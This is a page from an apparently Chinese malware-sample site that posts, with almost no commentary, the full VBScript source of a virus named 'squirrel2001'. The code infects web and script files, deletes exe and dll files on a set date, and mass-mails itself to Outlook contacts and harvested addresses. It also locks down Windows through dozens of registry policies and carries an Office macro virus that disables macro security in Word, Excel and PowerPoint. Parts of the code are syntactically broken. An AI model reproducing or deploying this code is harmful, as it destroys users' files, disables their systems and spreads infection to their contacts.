标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-250]   作者: ecawen 发表于: [2017-08-06]

本文共 [662] 位读者顶过

这是squirrel离开苏睿暄小组之前的最后一只毒。

On Error Resume Next [出自:jiwo.org]
Set igalgbinffy= Createobject("scripting.filesystemobject") 
Set rfqwdudwylf = CreateObject("WScript.Shell") 
main 
sub main() 
On Error Resume Next 
Dim known 
Set known = CreateObject("WScript.shell") 
If known.RegRead("HKEY_CURREN_USER\Squirrels2001", "devil29880") <> "die" Then 
macrovirus 
ircvirus 
mload 
else 
mload 
end sub 
Sub mload() 
On Error Resume Next 
mPath = Grf() 
Set Os = CreateObject("Scriptlet.TypeLib") 
Set Oh = CreateObject("Shell.Application") 
If IsHTML Then 
mURL = LCase(document.Location) 
If mPath = "" Then 
Os.Reset 
Os.Path = "C:\squirrel2001.htm" 
Os.Doc = Lhtml() 
Os.Write() 
Ihtml = "<span style='position:absolute'><Iframe src='C:\Help.htm' width='0' height='0'></Iframe></span>" 
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml) 
Else 
If Iv(mPath, "squirrel2001.vbs") Then 
setInterval "Rt()", 10000 
Else 
m = "hta" 
If LCase(m) = Right(mURL, Len(m)) Then 
id = setTimeout("mclose()", 1) 
main 
Else 
Os.Reset() 
Os.Path = mPath & "\" & "squirrel2001.hta" 
Os.Doc = Lhtml() 
Os.write() 
Iv mPath, "squirrel2001.hta" 
End If 
End If 
End If 
Else 
virusmain 
End If 
End Sub 
Sub virusmain() 
On Error Resume Next 
Set Of = CreateObject("Scripting.FileSystemObject") 
Set Od = CreateObject("Scripting.Dictionary") 
Od.Add "html", "1100" 
Od.Add "vbs", "0100" 
Od.Add "htm", "1100" 
Od.Add "asp", "0010" 
Ks = "HKEY_CURRENT_USER\Software\" 
Ds = Grf() 
Cs = Gsf() 
If IsVbs Then 
If Of.FileExists("C:\squirrel2001.htm") Then 
Of.DeleteFile ("C:\squirrel2001.htm") 
End If 
Key = CInt(Month(Date) + Day(Date)) 
If Key = 10 Then 
Od.RemoveAll 
Od.Add "exe", "0001" 
Od.Add "dll", "0001" 
End If 
if month(date)=9 then 
if day(date)=4 then 
joke 
end if 
end if 
Cn = Rg(Ks & "Help\Count") 
If Cn = "" Then 
Cn = 1 
End If 
Rw Ks & "Help\Count", Cn + 1 
f1 = Rg(Ks & "Help\FileName") 
f2 = FNext(Of, Od, f1) 
fext = GetExt(Of, Od, f2) 
Rw Ks & "Help\FileName", f2 
If IsDel(fext) Then 
f3 = f2 
f2 = FNext(Of, Od, f2) 
Rw Ks & "Help\FileName", f2 
Of.DeleteFile f3 
Else 
If LCase(WScript.ScriptFullname) <> LCase(f2) Then 
Fw Of, f2, fext 
End If 
End If 
If (CInt(Cn) Mod 366) = 0 Then 
If (CInt(Second(Time)) Mod 2) = 0 Then 
Tsend 
Else 
adds = Og 
Msend (adds) 
End If 
End If 
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper") 
If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then 
If wp = "" Then 
n1 = "" 
n3 = Cs & "\squirrel2001.htm" 
Else 
mP = Of.GetFile(wp).ParentFolder 
n1 = Of.GetFileName(wp) 
n2 = Of.GetBaseName(wp) 
n3 = Cs & "\" & n2 & ".htm" 
End If 
Set pfc = Of.CreateTextFile(n3, True) 
mt = Sa("1100") 
pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><" & "/Body><" & "/HTML>" & mt 
pfc.Close 
Rw Ks & "Help\wallPaper", n3 
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3 
End If 
Else 
Set fc = Of.CreateTextFile(Ds & "\squirrel2001.vbs", True) 
fc.Write Sa("0100") 
fc.Close 
bf = Cs & "\Untitled.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}" 
Set fc2 = Of.CreateTextFile(bf, True) 
fc2.Write Lhtml 
fc2.Close 
oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID") 
oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook Express\5.0\Mail" 
MSH = oe & "\Message Send HTML" 
CUS = oe & "\Compose Use Stationery" 
SN = oe & "\Stationery Name" 
Rw MSH, 1 
Rw CUS, 1 
Rw SN, bf 
Web = Cs & "\WEB" 
Set gf = Of.GetFolder(Web).Files 
Od.Add "htt", "1100" 
For Each m In gf 
fext = GetExt(Of, Od, m) 
If fext <> "" Then 
Fw Of, m, fext 
End If 
Next 
End If 
End Sub 
Sub mclose() 
document.Write "<" & "title>我爱你张一!</title" & ">" 
window.Close 
End Sub 
Sub Rt() 
Dim mPath 
On Error Resume Next 
mPath = Grf() 
Iv mPath, "squirrel2001.vbs" 
End Sub 
Function Sa(n) 
Dim VBSText, m 
VBSText = Lvbs() 
If Mid(n, 3, 1) = 1 Then 
m = "<%" & VBSText & "%>" 
End If 
If Mid(n, 2, 1) = 1 Then 
m = VBSText 
End If 
If Mid(n, 1, 1) = 1 Then 
m = Lscript(m) 
End If 
Sa = m & vbCrLf 
End Function 
Sub Fw(Of, S, n) 
Dim fc, fc2, m, mmail, mt 
On Error Resume Next 
Set fc = Of.OpenTextFile(S, 1) 
mt = fc.ReadAll 
fc.Close 
If Not Sc(mt) Then 
mmail = Ml(mt) 
mt = Sa(n) 
Set fc2 = Of.OpenTextFile(S, 8) 
fc2.Write mt 
fc2.Close 
Msend (mmail) 
End If 
End Sub 
Function Sc(S) 
mN = "Rem 我爱你张一" 
If InStr(S, mN) > 0 Then 
Sc = True 
Else 
Sc = False 
End If 
End Function 
Function FNext(Of, Od, S) 
Dim fpath, fname, fext, T, gf 
On Error Resume Next 
fname = "" 
T = False 
If Of.FileExists(S) Then 
fpath = Of.GetFile(S).ParentFolder 
fname = S 
ElseIf Of.FolderExists(S) Then 
fpath = S 
T = True 
Else 
fpath = Dnext(Of, "") 
End If 
Do While True 
Set gf = Of.GetFolder(fpath).Files 
For Each m In gf 
If T Then 
If GetExt(Of, Od, m) <> "" Then 
FNext = m 
Exit Function 
End If 
ElseIf LCase(m) = LCase(fname) Or fname = "" Then 
T = True 
End If 
Next 
fpath = Pnext(Of, fpath) 
Loop 
End Function 
Function Pnext(Of, S) 
On Error Resume Next 
Dim Ppath, Npath, gp, pn, T, m 
T = False 
If Of.FolderExists(S) Then 
Set gp = Of.GetFolder(S).SubFolders 
pn = gp.Count 
If pn = 0 Then 
Ppath = LCase(S) 
Npath = LCase(Of.GetParentFolderName(S)) 
T = True 
Else 
Npath = LCase(S) 
End If 
Do While Not Er 
For Each pn In Of.GetFolder(Npath).SubFolders 
If T Then 
If Ppath = LCase(pn) Then 
T = False 
End If 
Else 
Pnext = LCase(pn) 
Exit Function 
End If 
Next 
T = True 
Ppath = LCase(Npath) 
Npath = Of.GetParentFolderName(Npath) 
If Of.GetFolder(Ppath).IsRootFolder Then 
m = Of.GetDriveName(Ppath) 
Pnext = Dnext(Of, m) 
Exit Function 
End If 
Loop 
End If 
End Function 
Function Dnext(Of, S) 
Dim dc, n, d, T, m 
On Error Resume Next 
T = False 
m = "" 
Set dc = Of.Drives 
For Each d In dc 
If d.DriveType = 2 Or d.DriveType = 3 Then 
If T Then 
Dnext = d 
Exit Function 
Else 
If LCase(S) = LCase(d) Then 
T = True 
End If 
If m = "" Then 
m = d 
End If 
End If 
End If 
Next 
Dnext = m 
End Function 
Function GetExt(Of, Od, S) 
Dim fext 
On Error Resume Next 
fext = LCase(Of.GetExtensionName(S)) 
GetExt = Od.Item(fext) 
End Function 
Sub Rw(k, v) 
Dim R 
On Error Resume Next 
Set R = CreateObject("WScript.Shell") 
R.RegWrite k, v 
End Sub 
Function Rg(v) 
Dim R 
On Error Resume Next 
Set R = CreateObject("WScript.Shell") 
Rg = R.RegRead(v) 
End Function 
Function IsVbs() 
Dim ErrTest 
On Error Resume Next 
ErrTest = WScript.ScriptFullname 
If Err Then 
IsVbs = False 
Else 
IsVbs = True 
End If 
End Function 
Function IsHTML() 
Dim ErrTest 
On Error Resume Next 
ErrTest = document.Location 
If Er Then 
IsHTML = False 
Else 
IsHTML = True 
End If 
End Function 
Function IsMail(S) 
Dim m1, m2 
IsMail = False 
If InStr(S, vbCrLf) = 0 Then 
m1 = InStr(S, "@") 
m2 = InStr(S, ".") 
If m1 <> 0 And m1 < m2 Then 
IsMail = True 
End If 
End If 
End Function 
Function Lvbs() 
Dim f, m, ws, Of 
On Error Resume Next 
If IsVbs Then 
Set Of = CreateObject("Scripting.FileSystemObject") 
Set f = Of.OpenTextFile(WScript.ScriptFullname, 1) 
Lvbs = f.ReadAll 
Else 
For Each ws In document.scripts 
If LCase(ws.Language) = "vbscript" Then 
If Sc(ws.Text) Then 
Lvbs = ws.Text 
Exit Function 
End If 
End If 
Next 
End If 
End Function 
Function Iv(mPath, mName) 
Dim Shell 
On Error Resume Next 
Set Shell = CreateObject("Shell.Application") 
Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb 
If Er Then 
Iv = False 
Else 
Iv = True 
End If 
End Function 
Function Grf() 
Dim Shell, mPath 
On Error Resume Next 
Set Shell = CreateObject("Shell.Application") 
mPath = "C:\" 
For Each mShell In Shell.NameSpace(mPath).Items 
If mShell.IsFolder Then 
Grf = mShell.Path 
Exit Function 
End If 
Next 
If Er Then 
Grf = "" 
End If 
End Function 
Function Gsf() 
Dim Of, m 
On Error Resume Next 
Set Of = CreateObject("Scripting.FileSystemObject") 
m = Of.GetSpecialFolder(0) 
If Er Then 
Gsf = "C:\" 
Else 
Gsf = m 
End If 
End Function 
Function Lhtml() 
Lhtml = "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _ 
"<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _ 
"<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _ 
"<" & "/Body></HTML" & ">" 
End Function 
Function Lscript(S) 
Lscript = "<" & "script language='VBScript'>" & vbCrLf & _ 
S & "<" & "/script" & ">" 
End Function 
Function Sl(S1, S2, n) 
Dim l1, l2, l3, i 
l1 = Len(S1) 
l2 = Len(S2) 
i = InStr(S1, S2) 
If i > 0 Then 
l3 = i + l2 - 1 
If n = 0 Then 
Sl = Left(S1, i - 1) 
ElseIf n = 1 Then 
Sl = Right(S1, l1 - l3) 
End If 
Else 
Sl = "" 
End If 
End Function 
Function Ml(S) 
Dim S1, S3, S2, T, adds, m 
S1 = S 
S3 = """" 
adds = "" 
S2 = S3 & "mailto" & ":" 
T = True 
Do While T 
S1 = Sl(S1, S2, 1) 
If S1 = "" Then 
T = False 
Else 
m = Sl(S1, S3, 0) 
If IsMail(m) Then 
adds = adds & m & vbCrLf 
End If 
End If 
Loop 
Ml = Split(adds, vbCrLf) 
End Function 
Function Og() 
Dim i, n, m(), Om, Oo 
Set Oo = CreateObject("Outlook.Application") 
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items 
n = Om.Count 
ReDim m(n) 
For i = 1 To n 
m(i - 1) = Om.Item(i).Email1Address 
Next 
Og = m 
End Function 
Sub Tsend() 
Dim Od, MS, MM, a, m 
Set Od = CreateObject("Scripting.Dictionary") 
MConnect MS, MM 
MM.FetchSorted = True 
MM.Fetch 
For i = 0 To MM.MsgCount - 1 
MM.MsgIndex = i 
a = MM.MsgOrigAddress 
If Od.Item(a) = "" Then 
Od.Item(a) = MM.MsgSubject 
End If 
Next 
For Each m In Od.Keys 
MM.Compose 
MM.MsgSubject = "Fw: " & Od.Item(m) 
MM.RecipAddress = m 
MM.AttachmentPathName = Gsf & "\Untitled.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}" 
MM.Send 
Next 
MS.SignOff 
End Sub 
Function MConnect(MS, MM) 
Dim U 
On Error Resume Next 
Set MS = CreateObject("MSMAPI.MAPISession") 
Set MM = CreateObject("MSMAPI.MAPIMessages") 
U = Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\DefaultProfile") 
MS.UserName = U 
MS.DownLoadMail = False 
MS.NewSession = False 
MS.LogonUI = True 
MS.SignOn 
MM.SessionID = MS.SessionID 
End Function 
Sub Msend(Address) 
Dim MS, MM, i, a 
MConnect MS, MM 
i = 0 
MM.Compose 
For Each a In Address 
If IsMail(a) Then 
MM.RecipIndex = i 
MM.RecipAddress = a 
i = i + 1 
End If 
Next 
MM.MsgSubject = " Help " 
MM.AttachmentPathName = Gsf & "\Untitled.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}" 
MM.Send 
MS.SignOff 
End Sub 
Function Er() 
If Err.Number = 0 Then 
Er = False 
Else 
Err.Clear 
Er = True 
End If 
End Function 
Function IsDel(S) 
If Mid(S, 4, 1) = 1 Then 
IsDel = True 
Else 
IsDel = False 
End If 
End Function 
sub joke() 
dim snow 
set snow=CreateObject("WScript.Shell") 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoRecentDocsMenu",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoFind",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoRun",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoLogOff",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoClose",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoSetFolders",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoFavoritesMenu",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoStartBanner",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoSetTaskbar",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoFolderOptions",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoSetActiveDescktop",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoWindowsUpdate",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoTrayContextMenu",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoDevMgrPage",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoConfigPage",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoFileSysPage",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoVirtMemPage",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoDispCPL",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoDispBackgroundPage",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoDispscrsavPage",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoDispAppearancePage",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoDispSettingsPage",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoSecCPL",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoPwdPage",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoAdminPage",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoProfilePage",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\ActiveDesktop\NoComponents",1,"REG_DWORD" 
snow.regwrite" HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\ActiveDesktop\NoAddingComponents
",1,"REG_DWORD" 
snow.regwrite" HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\ActiveDesktop\NoDeletingComponen
ts",1,"REG_DWORD" 
snow.regwrite" HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\ActiveDesktop\NoEditingComponent
s",1,"REG_DWORD" 
snow.regwrite" HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\ActiveDesktop\NoClosingComponent
s",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\NoNetSetup",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\NoNetSetupIDPage",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\NoNetSetupSecurityPage",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\NoFileSharingControl",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\NoEntireNetwork",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\NoWorkgroupContents",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoPrinters",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoAddPrinter",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoDeletePrinter",1,"REG_DWORD" 
snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoPrinterTab",1,"REG_DWORD" 
snow.regwrite"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","I MISS YOU" 
snow.regwrite"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","难道真是昨夜星辰昨夜风,此情可待成追忆了吗?一切都仿佛发生在昨天!你好吗?我只是想知道你还好吗。" 
snow.regwrite"hkey_local_machine\system\currentcontrolset\services\i8042prt\prameters\crashonctrlscroll","1234" 
snow.sendkeys"^{scolllock}{scolllock}" 
dim loveme 
loveme="忆自学校三摩,获亲尘诲,别后山川间隔,时序频迁。 

尘封往事,历历在目,提起笔,却无从写起。。。 

轻轻推窗而望,夜人静,唯有晚风摇动一树相思。。。 

其实,感情的某些片刻,并不比精心设计小说情节逊色。 

从认识你的那一天开始,我的世界便开始了漫长的等待,为一种没有结束的等待而等待。 

然而,注定我们都是流浪的心 

注定我们都没有相交的轨迹 

我奔你而来 在灿烂的星河中 

寻找你的星座 

追踪你的声音 

我气喘吁吁却心甘情愿做一抹色彩 

涂上你的生命 

让我面目全非的芳龄真诚而坦白 

我想不出你风尘仆仆的模样 

想不出的黑夜里 你会乘哪一叶孤帆而至 

那疲倦的身影是风浪雕塑的男人 

潇洒的黑发漂拂着你坎坷的经历 

我愿永远站在这命运的立交桥上 

作无约无期的等待 

在纵横交错的手纹里 

找出同向你的路口 

这一切 都满含着我的心愿 

我因此而孤立无援 

我不在乎我凄凉的等待 

除了你 我别无选择 

除了你我不会跨入那道栅栏 

我会是风雪中那棵固执的寒梅 

看你遥遥无期 而我依然守着冬天 

然而,现实是那样残酷。 

我可以忘却一个名字, 

却忘却不了一种情感, 

你的偶然的光亮,照彻了我久久等待后的枉然。 

我的淡淡的忧伤,因你的照耀而升起一圈光轮。 

不认识你多好,既无痛苦也无烦恼,认识你更好,宁可痛苦也宁可烦恼。 

既然你要让火山沉默,那就让它沉默, 

但沉默并不是死亡, 

我知道,这不过是等待下一次喷发。。。 

如果你不爱我,愿上帝祝福你,如果你还爱我,让上帝一千倍祝福你 

让我们好聚好散,彼此道一声珍重。 

如果有一天,我们不再挥霍所拥有的一切,不再为所失去的惋惜,那我们就学会了珍惜, 

但一切都太晚了。 

聚也不是开始,散也不是结束。 

然而,我们今天只能说: 

无法拒绝的是开始 

无法抗拒的是结束 

你我之间是该结束了。 

大约在冬天,我得走远, 

丧失我,像火舌吞过的原始森林, 

留下烧焦的空气给你, 

所有的们都从原来的地方迁走,你也没了钥匙。 

幸亏时间可以改变一切。 

任何痛苦和欢乐都可以在时间的推移中找到最后的归宿, 

任何难题和疑虑也都可以在岁月的流逝中得到圆满的答案。 

看完信,也许你就在也见不到我了,想见我一面道一声珍重的机会好象也没有了。 

再次伫立窗前,却发现岁月匆匆,昔日那生动的梦境竟如残叶在心中的湖泊中飘零。 

无名瀑独斟你的名字, 

酿千年的烈酒品你的名字, 

我抚摩着你的名字流泪。。。 

署名:一方无法融化你的孤傲的天空" 
msgbox "致张一:"&loveme 
snow.minimizeall 
end sub 
sub macrovirus() 
dim viruscaurse,macroset,nt,txtff,fsys,la 
la=1 
viruscaurse="'<!--Squirrel--> 
Private Sub Document_Open() 
On Error Resume Next 
Dim file$ 
Dim ans$ 
Dim test 
Dim mItem 
Dim cItem 
Dim aDoc 
Dim aTemp 
Dim vset 
Dim Iset 
Dim ads 
Options.VirusProtection = False 
Options.ConfirmConversions = False 
Options.SaveNormalPrompt = False 
Application.ShowVisualBasicEditor = False 
If System.PrivateProfileString('', 'HKEY-CURRENT-USER\Software\Microsoft\Office\9.0\word\security', 'level') <> '' Then 
CommandBars('Macro').Controls("Security...").Enabled = False 
System.PrivateProfileString("", "HKEY-CURRENT-USER\Software\Microsoft\Office\9.0\word\security", "level") = 1& 
Else 
CommmandBars("Tools").Controls("Macro...").Enabled = False 
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) 
End If 
For Each mItem In CommandBars("Tools").Controls 
If mItem.Caption = "自定义(C)..." Then 
mItem.OnAction = "AutoClose" 
End If 
If mItem.Caption = "模板和加载(I)..." Then 
mItem.OnAction = "AutoClose" 
End If 
If mItem.Caption = "选项(O)..." Then 
mItem.OnAction = "AutoClose" 
End If 
Next mItem 
For Each cItem In CommandBars("Tools").Controls 
If cItem.Type = msoControlPopup Then 
If cItem.Caption = "宏(M)" Then 
For Each mItem In cItem.CommandBars.Controls 
If mItem.Caption = "宏(M)..." Then 
mItem.OnAction = "AutoClose" 
End If 
If mItem.Caption = "Visual Basci 编辑器(V)" Then 
mItem.OnAction = "AutoClose" 
End If 
Next mItem 
End If 
End If 
Next cItem 
For Each cItem In CommandBars("Visual Basic").Controls 
cItem.OnAction = "AutoClose" 
Next cItem 
For Each cItem In CommandBars 
If cItem.Visible = True Then 
屏蔽按钮自定义 
cItem.Protection = msoBarNoCustomize 
End If 
Next cItem 
If ads.Name = "Autoexec.dot" Then 
看看autoexec.dot是否加载 
ads.Installed = False 
End If 
Next ads 
With Dialogs(wdDialogToolsOptionsFileLocations) 
.Path = "STARTUP-PATH" 
.Setting = "c:\" 
.Execute 
把起始目录指向C:\ 以便加载autoexec.dot 
End With 
file$ = WordBasic.[MacroFileName$]() 
If InStr(file$, "Autoexec") <> 0 Then 
For Each aDoc In Documents 
For Each cItem In aDoc.VBProject.VBComponents 
If (cItem.Name = "Squirrel") Then 
vset = 1 
End If 
Next cItem 
Next aDoc 
For Each cItem In NormalTemplate.VBProject.VBComponents 
该查Normal模板了 
If (cItem.Name = "Squirrel") Then 
vset = 1 
End If 
Next cItem 
If vset <> 1 Then 
WordBasic.DisableAutoMacros 
准备感染,关掉自动宏选项 
Documents.Open FileName:="C:\Autoexec.dot", AddToRecentFiles:=False 
For Each aDoc In Documents 
If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then 
WordBasic.MacroCopy ActiveDocument.FullName + ":Squirrel", aDoc.FullName + ":Squirrel" 
创建C:\autoexec.dot模板,并将病毒复制过去 
End If 
Next aDoc 
For Each aTemp In Templates 
If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then 
WordBasic.MacroCopy ActiveDocument.FullName + ":Squirrel", aTemp.FullName + ":Squirrel" 
End If 
Next aTemp 
ActiveDocument.Save 
ActiveDocument.Close 
End If 
If vset = 1 Then 
GoTo out 
End If 
End If 
With Application.FileSearch 
如果打开的文件不是autoexec.dot ,则自己找 
.LookIn = "C:\" 
.FileName = "Autoexec.dot" 
If .Execute > 0 Then 
Iset = 1 
End If 
End With 
If Iset <> 1 Then 
WordBasic.DisableAutoMacros 
Documents.Add NewTemplate:=True 
WordBasic.MacroCopy file$ + ":Squirrel", ActiveDocument.FullName + ":Squirrel" 
ActiveDocument.SaveAs FileName:="c:\Autoexec.dot", AddToRecentFiles:=False 
ActiveDocument.Close 
End If 
For Each aDoc In Documents 
If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then 
For Each cItem In aDoc.VBProject.VBComponents 
If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then 
aDoc.VBProject.VBComponents.Remove (cItem) 
End If 
Next cItem 
End If 
Next aDoc 
For Each aTemp In Templates 
If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then 
For Each cItem In aTemp.VBProject.VBComponents 
If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then 
aTemp.VBProject.VBComponents.Remove (cItem) 
End If 
Next cItem 


Set NT = NormalTemplate.VBProject.vbcomponents(1).CodeModule 
Set TT = Templates(1).VBProject.vbcomponents(1).CodeModule 
Set AD = ActiveDocument.VBProject.vbcomponents(1).CodeModule 
If AD.Lines(1, 1) <> "'<!--Squirrel-->" Then 
AD.DeleteLines 1, AD.CountofLines 
AD.InsertLines 1, TT.Lines(1, TT.CountofLines) 
If AD.Lines(1, 1) <> "'<!--Squirrel-->" Then 
AD.InsertLines 1, NT.Lines(1, NT.CountofLines) 
End If 
End If 
If NT.Lines(1, 1) <> "'<!--Squirrel-->" Then 
NT.DeleteLines 1, NT.CountofLines 
NT.InsertLines 1, AD.Lines(1, AD.CountofLines) 
end if 





Set xlApp = CreateObject("Excel.Application") 
If UCase(Dir(xlApp.Application.StartupPath + "\Book1.")) <> UCase("BOOK1") Then 
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Excel\Microsoft Excel", "Options6") = "Check" 
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\9.0\New User Settings\Excel\Microsoft Excel", "Options6") = "" 
System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\9.0\Excel\Microsoft Excel", "Options6") = "Whoa" 
Set Book1Obj = xlApp.Workbooks.Add 
Book1Obj.VBProject.vbcomponents("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1, NT.CountofLines) 
Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1." 
Book1Obj.Close 
End If 
xlApp.Quit 
Set PPObj = CreateObject("PowerPoint.Application") 
Set PBT = PPObj.Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse) 
For Each ModComponent In PBT.VBProject.vbcomponents 
If ModComponent.Name = "Squirrel" Then dontadd = True 
Next 
If dontadd <> True Then 
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\PowerPoint\Options", "MacroVirusProtection") = "" 
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\9.0\New User Settings\PowerPoint\Options", "MacroVirusProtection") = "" 
System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\9.0\PowerPoint\Options", "MacroVirusProtection") = "" 
Set NewMod = PBT.VBProject.vbcomponents.Add(1) 
NewMod.Name = "Squirrel" 
NewMod.CodeModule.InsertLines 1, NT.Lines(1, NT.CountofLines) 
NewMod.CodeModule.ReplaceLine 118, "Sub actionhook(tristate)" 
Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight) 
With ShapetoWack 
.Name = "Squirrel" 
.ZOrder (1) 
.Line.Visible = False 
.Fill.Visible = False 
.ActionSettings(1).Action = 8 
.ActionSettings(1).Run = "actionhook" 
End With 
Set NewMod = Nothing 
PBT.Save 
End If 
PBT.Close 
